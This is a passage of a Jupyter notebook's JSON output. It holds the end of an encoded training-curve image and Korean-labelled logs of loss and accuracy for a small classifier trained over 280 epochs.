9bqGtEWglGo92wxDbU0us9oEVQD/Av4lIp2Aa45HgO1Oh5hQSrWTjjIMdXNXDf0A+FJE5orIbSLSHcAYU2SMeS384YVB3auGtEWglLK5JlsExpi7AaybyS4HXhWRRILnCt4HPjfmJLsjq27X0EkWvlJKtbcW3UdgjPnaGPO0MWYSwZPG/wW+R+3BGk4OetWQUkrV0qI7i0VkAJBpjKkERhE8cfy70HmMTxr1bijTRKCUsreWjj46H/CLyKnAy0A/QK8aUkqdFN555x1EhK+/bvswabt37+aOO+5g8ODBjBgxgvvuu4/8/OB9tZs3b64ZYjo5OZl+/foxbNiwmstKW2rixIlhvXGsMS1NBAHrvoFrgL8YY+4jOALpyUevGlLKdubMmcO4ceNq7iZurTVr1nD99dczdepUNm7cyLp16xg7diyTJk0iNzeXIUOG1AwXMXnyZJ588kk2bNjARx/Vnr/L52v69qulS5eSkJDQphiPRUsHnasSkRsJXkV0lbXO3UT5E5deNaRURDz+xeN8nde+AxefkXwG/3Pu/zRZpqSkhM8//5yPP/6YyZMn89BDDwHwxBNP8Prrr+NwOLj88suZOXMmu3bt4u677yY7Oxun08m8efPo27cvP//5z/nPf/5Dz549a/Y7ZcoUOnfuzIwZM3j++ecbff2PPvqImTNnkpKSwtatW9m8eTNXXXUVBw8epKKigvvuu4+77roLCF6OumXLFnJycrj66qsZNWoUq1evpnfv3rzzzjtER0cf+0FrQEsTwe3A3cBjxphvRaQf8EZYIgo3HWtIKVtZsGABkyZN4rTTTiM5OZn169dz5MgRFixYwJo1a4iNjSUvLw+Am2++menTp3PNNddQUVFBIBBg2bJlXHrppfTs2ZN//OMfvPDCCwwfPpzKykreeOMNHn744WZjWL16Ndu2baN3795AcC6C5ORkysrKSE9P57rrrqNz5861nrNjxw7mzJnDkCFDuPbaa1mwYAE33BCeaWBaOh/BNuAeABHpDCQYY06cMWVbo17XkLYIlDoemvvmHi5z5szhF7/4BQA33HADc+bMqZkAJjY2OONucnIyxcXFHDhwgGuuCd4rW/3tu3rI6ezsbF5//XVWrlzJ5s2baz6Ue/ToUTPBTWPGjBlTkwQAnn76aRYuXAhAZmYmu3fvrhmSutqpp57KkCFDADjnnHPYu3dvOxyNhrX0qqFPgMlW+Q1Atoh8aoy5P2yRhYvUnbNYWwRKdVS5ubksX76cLVu2ICL4/X5EhOuuu65m6OlqjY27Vj3k9J49exgzZgzR0dGMHDmyZq6BvLy8et/m64qLi6t5/NFHH7FixQpWr15NTEwM48aNo6Kiot5zoqKiah47nc5mzy8ci5aeLE40xhQB1wKvGGPOITj43MlHrxpSyjb+9a9/ceutt7Jv3z727t1LRkYG/fr1Izk5mdmzZ1NWVgYEP8w7depEWlpazRSTlZWVlJWV1Qw53b9/f1atWkVlZSXr168nJyeH5cuXk5qaisvV4jm+KCwsJDk5mZiYGLZu3cratWvDUvfWaGkicIlID+B6YFEY4wm/ejOUaYtAqY5qzpw5NV091a677joOHjzI5MmTSU9PZ9iwYTz11FMAvP766zzzzDMMHTqU8847j8OHDzNhwgTeeecdKisruemmmxg9ejTPP/88Q4YMYf78+Tz77LOtiuk73/kOZWVlnH322TzyyCOMGjWq3erbVk0OQ11TSOR7wO8IDinxYxHpDzxpjLku3AHWdczDUH/9Hsy96ejy5GdhxK3HHphSqp6OMgz1ihUreOCBB3jmmWcYNWoUfr+f//73v4gIF1xwQaTDq6e1w1C39GTxPGBeyPIe4LgngXZRp2so4Pe1uFmklLKnCy64gFdffZVHH32UrVu3EhMTw4UXXshvf/vbSIfWLlp6sjgNeBYYCxiCYw3da4zJDGNs4VGna8jr9RKeK3OVUh3JoEGDePPNNyMdRli09MvwKwQnre8JpAL/sdadfOpcKeDP2QXe0ggFo5RSkdfSRNDVGPOKMcZn/bwKNH7R7ImsTtdQ3Fd/hze/F6FglFIq8lqaCHJE5BYRcVo/twC5zT1JRCaJyA4R2SUi05soN0VEjIg0eCKjXdW9aghg3+dhf1mllDpRtTQR3EHw0tHDwCFgCsFhJxplTXz/PMEJbc4EbhSRMxsol0DwruXjM7dB3bGGlFLK5lo6Mc1+Y8xkY0xXY0w3Y8zVBG8ua8q5wC5jzB5jjBeYC3y3gXL/CzwB1L+1Lhzq3lCmlOrwTpZhqAH+/Oc/N3incTgdy9fj5oaXSAUyQpYzrXU1RGQ40MsY0+RNaiIyTUTWici67OzsNgVbo6GuIaVUh3aiDEPdEpFIBC2/L7o+acP2mrvXRMQBPA3c1twLGWNeAl6C4A1lLQ+xoai0a0ipSDj8hz9Qub19h6GOGnQG3Zu5lj/Sw1ADzJw5k3//+99UVFQwZcoUZsyYQXFxMddffz0HDx7E7/fz0EMPkZGRQVZWFueffz6nnHJKmxJJWxxLImjuAzkT6BWynAYcDFlOAAYDn1iDP3UHForIZGPMMdw63AxNBErZSqSHoV68eDH79+9nzZo1GGO44oorWLlyJRkZGfTt25clS5YAwTGIEhMT+dOf/sRnn31GUlJS2I9NtSYTgYgU0/AHvgAxzex7LTDQmrvgAHADUDO2gzGmEEgJea1PgF+FNQmAdg0pFSHNfXMPl0gPQ/3BBx+wZMkShg8fDgRbKN988w2jRo1i+vTpTJ8+nauuuoqxY8eG9Tg0pclEYIxp85xpxhifiPwMWAo4gdnGmK0i8giwzhizsK37PibaIlDKNk6EYaiNMTz44IPceeed9batW7eOxYsX88ADD3DllVdGbMiKsH4qGmMWG2NOM8YMMMY8Zq2b0VASMMZcFPbWAOhVQ0rZyIkwDPXEiRN5+eWXKS0NjmCQmZlJTk4OBw4cID4+nu9///vcf//9rF+/HoCEhITjPoG9/b4ea9eQUrZxIgxDfcUVVzBlyhRGjx7NkCFDuP766ykpKWHjxo2MHDmSYcOG8cQTT0wQaw8AABuQSURBVNS0BqZNm8aECRPadOlpW7VoGOoTyTEPQ52zE55r4Abmhwrbvk+lVIN0GOrIaO0w1PZrETR0jkDPGyilmlA9DPUzzzzDsGHDGDduHEuWLGHYsGGRDq1dHMvloyenBrqGjDiavSlCKWVvOgx1R9LAt39fIAJxKGUTJ1v388muLcfbhomgfosgYLQ9oFQ4REdHk5ubq8ngODHGkJubW3MPREtp1xBgRBOBUuGQlpZGZmYmxzxGmGqx6Oho0tLSWvUc+yWCBrqGjJ4hUCos3G43/fr1i3QYqhnaNQT1pq9USik7sV8icDTUIrDfYVBKqWr2+wTUriGllKrFhomggauGIhCGUkqdKOyXCKqvGgppGQSM/Q6DUkpVs+EnoNUNFNIyCGjXkFLKxuyXCJye4O+Jf6hZpbe6KKXszH6JwOEIjjQ6alrNKr2zWCllZ/ZLBA0wGHwHN0HAH+lQlFLquNNEAHSVIlwvnQ+fPh7pUJRS6rjTRBDq4IZIR6CUUsedJoJQLk+kI1BKqePO3ong9vcJONxHl52aCJRS9mPvRNBnDIfOOnr1EA43VJVHLh6llIoAeycCINoT0iL45n14rDsc3hK5gJRS6jizfSKIioo6ulBREPx9SE8aK6XsQxOBp6HzAnqDmVLKPmyfCNxud/OFlFKqA7N9ItAZy5RSdqeJwGG/aZuVUiqUJgJHAy0CpZSyEU0EDbUIfJXHPw6llIqQsCYCEZkkIjtEZJeITG9g+/0isk1ENonIMhHpE854GtRQi0ATgVLKRsKWCETECTwPXA6cCdwoImfWKfYVkG6MGQr8C3giXPE0qqEPfV/FcQ9DKaUiJZwtgnOBXcaYPcYYLzAX+G5oAWPMx8aYMmtxNZAWxnga1mVA/XXaIlBK2Ug4E0EqkBGynGmta8ydwJKGNojINBFZJyLrsrOz2zFEYMAlfDplM1sDIb1Sfk0ESin7CGciaOhi/AanBxaRW4B04MmGthtjXjLGpBtj0rt27dqOIQbFxsdTRchJY20RKKVsJJyJIBPoFbKcBhysW0hEJgD/D5hsjInIJ/CQ1EScoXMR6DkCpZSNhDMRrAUGikg/EfEANwALQwuIyHDgRYJJICuMsTQp2u3ktJ6dj67QRKCUspGwJQJjjA/4GbAU2A68bYzZKiKPiMhkq9iTQDwwT0Q2iMjCRnYXdi5PyCikPm+kwlBKqeMurOMrGGMWA4vrrJsR8nhCOF+/NZwhs5P5vOXhPTBKKXUC0TuLqzmPjkK6ZX/EeqmUUuq400RQLWSoifKyUoxp8AInpZTqcDQRVAtpEThNFYcK9YSxUsoeNBFU85bVPDzXsYOot6aCz8vBgnKq/IEIBqaUUuGliaBaafCOZeOOA6DLoU/xbn2XCX/+lLlf7I9kZEopFVaaCKpZiUB6j65Z5VryAHHeXPbklEYqKqWUCjtNBNWsRECvUTWrHBX5nOHYT1aRDjmhlOq4NBFU88QHf/caWWt1POVkFeuJY6VUx6WJoNrti+GaFyGxNwC7XacCEC/lHAlHiyDra72DWSl1QtBEUK3LADj7Bkg5Fa57maVnBefISbBaBO16X0HxYXhhFLz/P+23T6WUaiNNBA0ZMoXTB54BBLuGKqoCFFX42m//FYXB33v/2377VEqpNtJE0Ij+3ZMoM1HESzkAWUV1zhP4vLB9EbSppWBN1aB3LyulTgCaCBqRmhRDCTHEE7zRLKu4znmCjx+Dt26GvZ+1fueBquBvozeqKaUiTwfZbITH5aDYxJBgtQiOWC2CrKIKRISuWduDBSuLW7/zmvkOtEWglIo8TQRNCLYIykmmiPz8XIxJ5dw/LCM5zsP63taHuThbv+PqqTC1a0gpdQLQRNCElDg3Z5dvZL3zbqr+6+ZPVcGTu3ml3qPf6r0lrd+xtgiUUicQPUfQhNTyHTWP3aaKVZ8enWPHVH+YVxZBRRF88CCU58OhTc3vWFsESqkTiCaCplz791qL451fccPIXgAEvNWJoBg+mQkrn4XH+8KL50NZ3tEn7f0cAv7a+9UWgVLqBKKJoClDr4eEnjWLVyd8zQWndQUMlUXWLGaVxVB8qPbzCjOCv79dAa9eAZ//pfb2mhZBeMJWSqnW0ETQnMRUABb6x9CjfBc9YwPc4vyI2Kr84PbK4mD3UKgCa9jqwgPB31lf196uLQKl1AlETxY3Z8orsGU+6Z7eyOJVnG72cLbspsjEUEY0nYoLiCoroNa1Q9WJoLEP+uoxhkLPERQdAlcUxCaHoRJKKdU4bRE0J6kXjPsFPc8cB0BM1gYuTBMOO3tSaOIoKcojPy+79nOqE4Hf+sAXqdn0f2v2cyDHak2E3lD25zPgyVPDVQullGqUJoKWiu8Gib3gwHq6OYro27sPJcTgKy0gvjKrVtGiI3v5YOthKC+w1hxNBL99ZzNzVu60luq0GEydk8pKKXUcaCJojdQRcOBLKM3BndiNPJNAct5XRJvyo2XEyTd79vDUGwug6GBwnTWkhD8Q/OCPEmuICX9V2+Ioy4M5N0HxkbbWRCmlamgiaI2eI6BgHxRmIHFd2RToT7TU/jA/FDOQM2Q/H0T9D3zxYnClNdpoUXmwbBTWc6pPGgdaOebQl6/Ajvdg1XNtroo6CRgDX7/X+veHUq2kiaA1ht0E8d2Dj6MTuXD8lfWKfFrUnXipM1JpeQFV/gBHrJnOorDOHVSVsz+3jE3fHjhatiX/9FXW/p3u1tZAnUw2vQ1zb4J1L0c6EtXB6VVDrRHfDS7+LfznHggESD9/EmRPhsHXwrzbANhvTqn3NF9ZAeMeX05h3RaB8XP/n16kyjh4N8oqXFHQ6JVDhwsrKKn0cWq5dbLZF6G5lCuKgi2j7kMi8/p2UZQZ/F1zFZpS4aGJoLWG3xK8GmjoVHDHwNTXg+utRJBDp3pPceXvIt37KcsCw+kj+URJFcbhRtwxPBCYyyhHyH0G5fmNJoJL/vQJZV4/3w7eGzz9XHy4fevWUm9/H/Z8Ag9mBS95PUlk5pchIqQmxUQ6lBaS5ouosPIHDAs3HmDy2ak4HR3376FdQ63lcMK5P4To2h/4gXu3sHz8Im4b3avW+ud9k9kd6MHznmf4j+dBPo26nxQKKYztjf+0y2snAQieCK4sCf4UHoB37gZvKf6AocwbvKrIl707WNa6o3nV7lz+8uEOyN8blirX2PE+PJQYTAIA/7oDqsqbfErEVRTBW9+HooOMe/xjxs5cHumIWq768uKVz8D+1ZGNxab+74v93PfWRuZ80bFbZZoI2omjcy8uOf98zrxgSnBYih8up2TqfLaecS+PJ0wHYKAjeC7gfOcWNhfG8If19Rtk73y4nMpZl+B98gwOPz8JNs6BP/Tk60V/BSCaSlyF3wJQemQ3u7OKufHvqzj0yd/hr2fDs+cEh7aYd1vI5at1lOaw890n+HRrK9/cX75ae/nrRbD1ndrr8vZAYWbr9htOm+fB9oXw6eM1q/wBwxff5jXxpBNE6B3r/7w6cnHY2JFCax6SuhNTdTCaCNpbYir8cjuknkP8oAm8cEs6L913Ezg9tYrFp9/A+sBp9Z5+zf4/EJW/A4+vmO7eox/UZ63/PZ0o4TTJRDCU9JtIXMVhBryQxpqon3KHc0mwYO4ueO0q2PoOaxa+VGvfxpjgt/onBzDwq8dIeevK2t1LgUD9EVG/Xhy86xmOzqwWqqKQPdklR6fyfGY4PH1WA+WsD7VF98PaOic/vaXhuzLGOo+SVVhWs2rWp7u5/sVVrNydE57XbC/V54Kg4WMfDoc366i4IQLWsQgEOvYxCWsiEJFJIrJDRHaJyPQGtkeJyFvW9jUi0jec8USMywNdT6fMk8IPEv4Ol/4vw78zjRem/4i/d59RU6xq9M8BKDVRPCF31NvNe93+xtvRjwJwf+7V+E2wz/IUKeB0R/1v4SVbFnP+o+/x1D9e49sZp7H6kYtgzlQANgX6cZZjH6vn/oFbnv+IK//8AXlPj6b0Xz9h+vxNnPfHZby5cAnMvRH+ORmKDlGV+VW911iz6lPu+vMcrnlhZf2kUm3rApjZi8rdnwWvgHnvfjCG0kofX+zYD3/oCcseDpbdNC/YsrG6uRZvPsSMd7dwuLCCgD+Af9UsyNlJRl4Zn+207uj2+4LdP3VbLABFwVaYY+f7dCcXFz6Wbg3G+cHWIzX3djTqyNbGW1ahMr6Atf9ovlxdAT/kfQvesvrbQkaxNaHnC3J3B3/q2Lo/ixWb9zT/mlUVFJYe/Ya7L7fUerAKZo2D1X9r+EtBSwX8tUfgjRCfP8Cq3bnBL0CNOFJUQW5J49/2c0uCV/jlNFGmSftWnhDHojnS1EE6ph2LOIFvgEuBTGAtcKMxZltImZ8AQ40xd4vIDcA1xpipTe03PT3drFu3Liwxh9W+lRDwQb8L6m+rLA7+E/a/iOL/u43XSs7l6mtuJO3F+i0GgFd8E/ln4o+5odNmJh9+ll9V3snL7qd41T+RchPFfe75TYbyv1W38LL/Cr6I+gndpP6HXIVxk2G61XRlNaTceIiR4D+J3whv+S/iuzEbiasKvun/kzCVsq5nE0hI4/qNt+PEzwHThVTJBaDIkcR8uZQe3r1Mcq4FYHGnqVxR9BYAn8pInL3PZeW3hRT53QxLKGSkbz19fHvxi5uf+H9Jmj+Dm6+cSLfDHxO/8RUA1p/1WxL2LKJT+QG2nPMI52TNJynj6HmBHYE0fu+7jWITix8H1/cuYuz549nl78m67Tu5rOhfdHVXsaLzNZwS5+A7n08BIOe8GWzeshFSzyGJYk7ZM59Fab8ksXMKmwvcPLrrWgA2XLmYhORuFGUfYPCuFyntPpKEcT/iYKngKyugnzObypSzKMzPIXf3es5YehOCIbdLOoGJj7Hf3Y9vsiu5elgqRX+7jFPyg+91r3HyxiUrueUMwfO3cwEo/vUREmKjgWBrb8WMCxjq2EPF3V+QmBDHrgJI6xzL/pxC+n56H4nRLvK7jSJu1RP8u/Rs+t/4FJ32vMeuLxbTrf/Z9O2WyClrn8DfZxxOdwyBgv3kX/UqcT1PJ8rlQESCySHgh5LDwUupTQAcLnA48AcMWcUV9Fj9KKx6jkM/3Ej3nn3IKfFSWO6lR2IMTocQ8FcR63ZB8UGqEtJwOx3kl3r5cl8+Ww8Wcce4viREuzHeUiq9VUTFxCEOFyVeP/4qH4klOzHdzqKg3Md7mw9x9fBU4qPqd7P+5aNvWL38XaaP78Ww8TcAsPVgIf1T4onxOKmo8nPZ0yuo9Pn5yUWncskZ3eiVHFtrH7fO/oIV32Rz4WldeW1KL8oWP8juQT9myNnpjf5v1MjfB38dCn3Gwe3vBdf5fRRXeImNiTl68nnd7OCoBb3OhQProf9FtYalqWaMCf4N2khEvjTGNBh4OBPBGOAhY8xEa/k3AMaYP4aUWWqVWSUiLuAw0NU0EdRJmwjaIn8vZKwNvil2fgjiYNe5D/PWhhwemHgGHpeDoooq3l6bwYWnVDB/ewVVxkG/I0u4PDGTLl+/gTc+DXd5NgYocyczq+wSdva9mV99ZygFc+9mZP4icruNJi7rK4pNNF8wmPGujTjiUvAU7WV+4EJGso0uUszeqIEkufyklO/mhorfcqnzS67wbKCH5OHyl7EhMIAck8h451e4aHi4DL8RPmUE58tG3PjqbV8sF+D2lXKp88tWHapvAqn0l0O45MS8+eqISSKJUqKkiiITSzzlOKT+27zAxFFGFB78JFHcZH0OmWQC4sRJAIfx10rqXuOklBgEQxUuukphm+IuNVHkk4AbP258eMRPPMHWSyFxxFBJCbGIMZQSRSKlNfN8l5hoqsSNMaamRWMQkimmTGKIp4wK46ZIEog2FRigEg9ReCmVOJJMEdF4CYiQTxLFgSgSpJSuUkSW6YwPIRovPtxUiaumzSQCyaaQIhNTU+/D0hV/AFxU4cTgEPAbqMJJIqXkmk4kSzHFkoC35mJKwWdATAC3BEiSEhIoo8jEkCPJOAQCBqo/z6s/tQzB673iTBndJNi9t4+eBIAupgAwZNEZl0MQDH1McAQCPw6cBDgop+DHiYOjf3ufEfwGDg+/j/Ou/lGb/paRSgRTgEnGmLus5e8Do4wxPwsps8Uqk2kt77bK5NTZ1zRgGkDv3r3P2bdvX1hitoNAwOCofudWlkDJEegyAOOrpDLgINrjDnYLOBxQkEGB5xQ8LgexnpBvXMaACJn5ZaQmxSDZO8DppiyhD9EuJw5fORQdoDxzE/7Cg2T3m0y/LnHw9SJKTxmJ6Xo6cS6o2vEh3pguHIk9nSTvYbp0iofEVCq8PvwVxeSX+0mJcxLtKyb/0Lfsy6vgtP792LHvAP2L15IV059DJYZyVyKxvYfR213Agf17iYpyc1q/PmR+/jZVpbkkDptM77gA0mUAez6fR484Jw4JEHDFsCfqTCoz1pNQeZj4+AS8Aybh/+ZDEhIS2HG4hDw6EecRkkr2kNbnVA7v/4bOfc8mqedAnIfWB6/kqijgSKfBFAZi6JH9X0r8LhJMKZ8lXUWPyr04Dm/kFP9hyhwJVLriSAoUgCcOievKN53GcMjThwtj91Lw9af0qNyLx+PmcLGP2GgPiYMuJqNEGOn/igMlsLM0mj1JYxlX8QmOwkwqvFX4xYU4ncTGJ1HljMVfeJBKiaJbnJOSyio6ewLkxPQntxwSKw+wOfZcRpevoLjCR7kzgYQRU3DuXoaUZuH3JOCtLCePRPZ2GsnI/PeIkUoq/A4C4sL4vQQcbgo83elWsY+Aw40EqnC43LgDXirciZT7HZioTiT48qio8hPjdhAX5aS00ofPHwBXNP7yIvzOKNwOgleeOT1Eud3EOP2U+p0EKorxO6OpiErBWVlIdFU+sR4nDocDn8+HNwDGGU3AGUXAW4Fb/PgBQfD5A5Q7E4g2ZXhiE8kNxNG5bC843VQZJ0YcgCFa/Hic0K1zJw5l5VDoSCTGX4JL/DgAY4LdYzFRHoqrwIiTUk9XulYdwB8I4A8YnA7B5w9+hjpEcDisGAIBHCIUSgIxpgI3PpwCxunG7XJifJVUVAUQAa87keJANHG+PGL8pfgcbgyCCem5dzogygmekbcxcMxVbfrfj1Qi+B4wsU4iONcY8/OQMlutMqGJ4FxjTG5j+7VVi0AppdpJU4kgnCeLM4HQi+rTgIONlbG6hhKBE//MilJKdSDhTARrgYEi0k9EPMANwMI6ZRYCP7AeTwGWN3V+QCmlVPsL2xATxhifiPwMWAo4gdnGmK0i8giwzhizEHgZeF1EdhFsCdwQrniUUko1LKxjDRljFgOL66ybEfK4AvheOGNQSinVNL2zWCmlbE4TgVJK2ZwmAqWUsjlNBEopZXNhu6EsXEQkG2jrrcUpwAk+5GS70zrbg9bZHo6lzn2MMV0b2nDSJYJjISLrGruzrqPSOtuD1tkewlVn7RpSSimb00SglFI2Z7dE8FLzRTocrbM9aJ3tISx1ttU5AqWUUvXZrUWglFKqDk0ESillc7ZJBCIySUR2iMguEZke6Xjai4jMFpEsa7a36nXJIvKhiOy0fne21ouIPGMdg00iMiJykbediPQSkY9FZLuIbBWRe631HbbeIhItIl+IyEarzg9b6/uJyBqrzm9ZQ74jIlHW8i5re99Ixt9WIuIUka9EZJG13KHrCyAie0Vks4hsEJF11rqwvrdtkQhExAk8D1wOnAncKCJnRjaqdvMqMKnOuunAMmPMQGCZtQzB+g+0fqYBfztOMbY3H/BLY8wgYDTwU+vv2ZHrXQlcYow5GxgGTBKR0cDjwNNWnfOBO63ydwL5xphTgaetcieje4HtIcsdvb7VLjbGDAu5ZyC8721jTIf/AcYAS0OWfwP8JtJxtWP9+gJbQpZ3AD2sxz2AHdbjF4EbGyp3Mv8A7wKX2qXeQCywHhhF8C5Tl7W+5n1OcB6QMdZjl1VOIh17K+uZZn3oXQIsIjgnfIetb0i99wIpddaF9b1tixYBkApkhCxnWus6qlOMMYcArN/drPUd7jhYXQDDgTV08Hpb3SQbgCzgQ2A3UGCM8VlFQutVU2dreyHQ5fhGfMz+AvwaCFjLXejY9a1mgA9E5EsRmWatC+t7O6wT05xApIF1drxutkMdBxGJB+YDvzDGFIk0VL1g0QbWnXT1Nsb4gWEikgS8AwxqqJj1+6Sus4hcCWQZY74UkYuqVzdQtEPUt46xxpiDItIN+FBEvm6ibLvU2y4tgkygV8hyGnAwQrEcD0dEpAeA9TvLWt9hjoOIuAkmgTeNMf+2Vnf4egMYYwqATwieH0kSkeovdKH1qqmztT2R4HSwJ4uxwGQR2QvMJdg99Bc6bn1rGGMOWr+zCCb8cwnze9suiWAtMNC64sBDcG7khRGOKZwWAj+wHv+AYB969fpbrSsNRgOF1c3Nk4kEv/q/DGw3xvw5ZFOHrbeIdLVaAohIDDCB4EnUj4EpVrG6da4+FlOA5cbqRD4ZGGN+Y4xJM8b0Jfj/utwYczMdtL7VRCRORBKqHwOXAVsI93s70idGjuMJmCuAbwj2q/6/SMfTjvWaAxwCqgh+O7iTYN/oMmCn9TvZKisEr57aDWwG0iMdfxvrPI5g83cTsMH6uaIj1xsYCnxl1XkLMMNa3x/4AtgFzAOirPXR1vIua3v/SNfhGOp+EbDIDvW16rfR+tla/VkV7ve2DjGhlFI2Z5euIaWUUo3QRKCUUjaniUAppWxOE4FSStmcJgKllLI5TQTK9kTEb430WP3T5Oi0InK3iNzaDq+7V0RSjnU/Sh0rvXxU2Z6IlBhj4iPwunsJXvedc7xfW6lQ2iJQqhHWN/bHrXkAvhCRU631D4nIr6zH94jINmss+LnWumQRWWCtWy0iQ631XUTkA2t8/RcJGSdGRG6xXmODiLxoDZ2u1HGhiUApiKnTNTQ1ZFuRMeZc4DmCY93UNR0YbowZCtxtrXsY+Mpa91vgn9b63wP/NcYMJzg0QG8AERkETCU42NgwwA/c3L5VVKpxdhl9VKmmlFsfwA2ZE/L76Qa2bwLeFJEFwAJr3TjgOgBjzHKrJZAIXABca61/T0TyrfLjgXOAtdYIqjEcHVRMqbDTRKBU00wjj6t9h+AH/GTgdyJyFk0PDdzQPgR4zRjzm2MJVKm20q4hpZo2NeT3qtANIuIAehljPiY4gUoSEA+swOrascbSzzHGFNVZfznQ2drVMmCKNf589TmGPmGsk1K1aItAKescQcjy+8aY6ktIo0RkDcEvTTfWeZ4TeMPq9hGCc+kWiMhDwCsisgko4+jwwQ8Dc0RkPfApsB/AGLNNRB4kOCuVg+BIsj8F9rV3RZVqiF4+qlQj9PJOZRfaNaSUUjanLQKllLI5bREopZTNaSJQSimb00SglFI2p4lAKaVsThOBUkrZ3P8HB2YVhhMPeVYAAAAASUVORK5CYII=\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" }, { "name": "stdout", "output_type": "stream", "text": [ "8 0.0002499818801879883\n", "(2000,) (2000, 2)\n", "Epoch: 0, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.8711861371994019 0.5056250095367432 0.49437499046325684\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 1.038533091545105 0.5024999976158142 0.4975000023841858\n", "Epoch: 10, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.5183193683624268 0.8920000195503235 0.10799998044967651\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.5194727182388306 0.9049999713897705 0.09500002861022949\n", "Epoch: 20, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.2818260192871094 0.9890000224113464 0.010999977588653564\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.2929552495479584 0.9900000095367432 0.009999990463256836\n", "Epoch: 30, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.12263883650302887 0.9965000152587891 0.0034999847412109375\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.11583907902240753 1.0 0.0\n", "Epoch: 40, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.06328786909580231 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06627676635980606 1.0 0.0\n", "Epoch: 50, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.04250028729438782 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.04496330767869949 1.0 0.0\n", "Epoch: 60, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.028457708656787872 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.026162374764680862 1.0 0.0\n", "Epoch: 70, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.031970348209142685 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.01897243596613407 1.0 0.0\n", "Epoch: 80, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.024877607822418213 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.034616295248270035 1.0 0.0\n", "Epoch: 90, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.012537296861410141 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.008062172681093216 1.0 0.0\n", "Epoch: 100, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.016673872247338295 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.014459526166319847 1.0 0.0\n", "Epoch: 110, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.011056303046643734 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.011909625492990017 1.0 0.0\n", "Epoch: 120, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.008736502379179 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0068588294088840485 1.0 0.0\n", "Epoch: 130, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.006827928591519594 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.005308579653501511 1.0 0.0\n", "Epoch: 140, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.010074617341160774 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00512323621660471 1.0 0.0\n", "Epoch: 150, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.007086929399520159 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.005339516792446375 1.0 0.0\n", "Epoch: 160, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.013764791190624237 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.002135675633326173 1.0 0.0\n", "Epoch: 170, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.005247861612588167 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0016067263204604387 1.0 0.0\n", "Epoch: 180, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0020259381271898746 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.004026695620268583 1.0 0.0\n", "Epoch: 190, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.004997470416128635 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0016036003362387419 1.0 0.0\n", "Epoch: 200, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.004859159700572491 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.008603774011135101 1.0 0.0\n", "Epoch: 210, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.005421113222837448 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00182591681368649 1.0 0.0\n", "Epoch: 220, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0038841241039335728 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.002489241538569331 1.0 0.0\n", "Epoch: 230, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.002011624164879322 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0010864008218050003 1.0 0.0\n", "Epoch: 240, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.003127668285742402 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0008560824790038168 1.0 0.0\n", "Epoch: 250, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0011418869253247976 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0004023008805233985 1.0 0.0\n", "Epoch: 260, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0020558927208185196 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0010082622757181525 1.0 0.0\n", "Epoch: 270, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0016113765304908156 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0014405959518626332 1.0 0.0\n", "Epoch: 280, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.001777783501893282 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0002894167846534401 1.0 0.0\n", 